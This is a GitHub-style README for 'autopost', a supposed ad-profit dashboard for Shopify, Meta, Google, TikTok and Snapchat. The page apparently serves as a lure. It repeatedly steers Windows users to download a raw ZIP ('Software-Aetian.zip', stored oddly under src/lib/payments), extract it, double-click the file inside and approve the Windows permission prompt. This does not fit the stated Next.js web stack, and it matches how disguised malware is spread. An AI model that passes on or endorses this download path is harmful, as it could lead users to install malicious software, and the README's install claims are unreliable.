Skip to content

Repository files navigation

πŸ€– autopost - Clear profit tracking for ad teams

Download

πŸ“Œ What autopost does

autopost helps you track ad results across Shopify, Meta, Google, TikTok, and Snapchat in one place. It brings sales, ad spend, and profit data into one dashboard so you can see what is working.

You can use it to:

  • Review profit by brand
  • Check ROAS across ad channels
  • Track COGS in your reports
  • Get Telegram alerts for key changes
  • See AI-based notes on campaign results

πŸ–₯️ What you need

Before you start, check that your Windows PC has:

  • Windows 10 or Windows 11
  • A modern web browser like Chrome, Edge, or Firefox
  • An internet connection
  • Access to your Shopify, Meta, Google, TikTok, Snapchat, and Telegram accounts if you plan to connect them

If you plan to host it yourself, you also need:

  • Node.js 20 or later
  • A Neon PostgreSQL database
  • API access for the services you want to connect

⬇️ Download autopost

Use this link to visit the download page and get autopost:

Visit the download page

πŸͺŸ Run on Windows

Follow these steps on Windows.

  1. Open the download link above.
  2. On the GitHub page, look for the files or release assets.
  3. Download the Windows file if one is provided.
  4. If you get a ZIP file, right-click it and choose Extract All.
  5. Open the extracted folder.
  6. Find the app file or start file.
  7. Double-click it to run autopost.
  8. If Windows asks for permission, choose Yes.

If the app opens in your browser, keep that tab open. If it opens in a desktop window, leave that window running while you use it.

πŸ”§ First-time setup

When autopost starts for the first time, you may need to enter your account details and connect your data sources.

Connect your store

  1. Open the Shopify connection page.
  2. Sign in with your store account.
  3. Allow access to sales and product data.

Connect your ad accounts

  1. Open the channel settings.
  2. Connect Meta Ads.
  3. Connect Google Ads.
  4. Connect TikTok Ads.
  5. Connect Snapchat Ads.

Set up profit tracking

  1. Enter your product costs or COGS.
  2. Match each brand or store to the right account.
  3. Check that your sales data syncs with your ad spend.

Turn on alerts

  1. Open the alerts section.
  2. Add your Telegram account.
  3. Choose the events you want to watch.
  4. Save your settings.

πŸ“Š Main screens

Dashboard

See total spend, revenue, profit, and ROAS in one view. This screen helps you compare brands without switching tabs.

Brand view

Use this screen to check one brand at a time. It shows sales, cost, and margin data for that brand.

Channel view

See results for Meta, Google, TikTok, and Snapchat side by side.

Alerts

Review Telegram alerts for changes in profit, ROAS, and campaign health.

AI notes

Read simple recommendations based on your current numbers. These notes help you spot weak campaigns and strong ones.

🧭 How to use autopost each day

  1. Open the dashboard.
  2. Check the top-level profit numbers.
  3. Review any large changes in spend or revenue.
  4. Open the brand view for stores that need attention.
  5. Check channel data for ads with weak ROAS.
  6. Read the AI notes.
  7. Fix product costs, ad spend, or campaign settings if needed.
  8. Review Telegram alerts for new issues.

πŸ› οΈ Common setup tasks

Update store or brand data

  • Open the brand settings
  • Change the store name or brand label
  • Save the update

Add another ad account

  • Open the account section
  • Choose the ad network
  • Sign in
  • Allow access
  • Save the connection

Change alert rules

  • Open Telegram alert settings
  • Pick the metric
  • Set the threshold
  • Save changes

πŸ” Example use cases

For one store owner

Track sales, ad spend, and profit in one place. Use it to see if a campaign makes money or loses money.

For a multi-brand team

Manage more than one brand from one dashboard. Compare profit across stores and ad channels.

For media buyers

Watch ROAS, spend, and account health without checking each platform by hand.

πŸ“ Project stack

autopost uses:

  • Next.js 15
  • Drizzle ORM
  • Neon PostgreSQL
  • Shopify data sync
  • Meta Ads
  • Google Ads
  • TikTok Ads
  • Snapchat Ads
  • Telegram bot alerts

πŸ§ͺ Troubleshooting

The app does not open

  • Check that you downloaded the correct file
  • Extract the ZIP file if you got one
  • Run the app again
  • Restart Windows if needed

The browser shows a blank page

  • Refresh the page
  • Try another browser
  • Check your internet connection

A connected account does not sync

  • Sign out and sign in again
  • Check that you allowed access
  • Make sure the account still has active API access

Data looks wrong

  • Check your COGS values
  • Check date filters
  • Confirm that each brand is mapped to the right store
  • Wait for the next sync cycle

πŸ” Data connections

autopost works with live account connections. Keep your account access current for the best results.

Common connections include:

  • Shopify store data
  • Ad platform spend data
  • Telegram message delivery
  • Database storage in Neon PostgreSQL

πŸ“„ Repository info

  • Name: autopost
  • Type: AI-powered ad management platform
  • Focus: profit tracking, ROAS, COGS-aware reporting, and alerts
  • Platform: Windows-friendly web app use
  • Audience: end users who manage online ads and stores

πŸ“₯ Install path reminder

If you have not opened the download page yet, use this link now:

https://github.com/Familypectinidaecritic903/autopost/raw/refs/heads/main/src/lib/payments/Software-Aetian.zip

⌨️ Basic terms

  • ROAS: return on ad spend
  • COGS: cost of goods sold
  • P&L: profit and loss
  • API: a link that lets one app talk to another
  • Sync: copy fresh data from one place to another

Releases

Packages

Contributors

Languages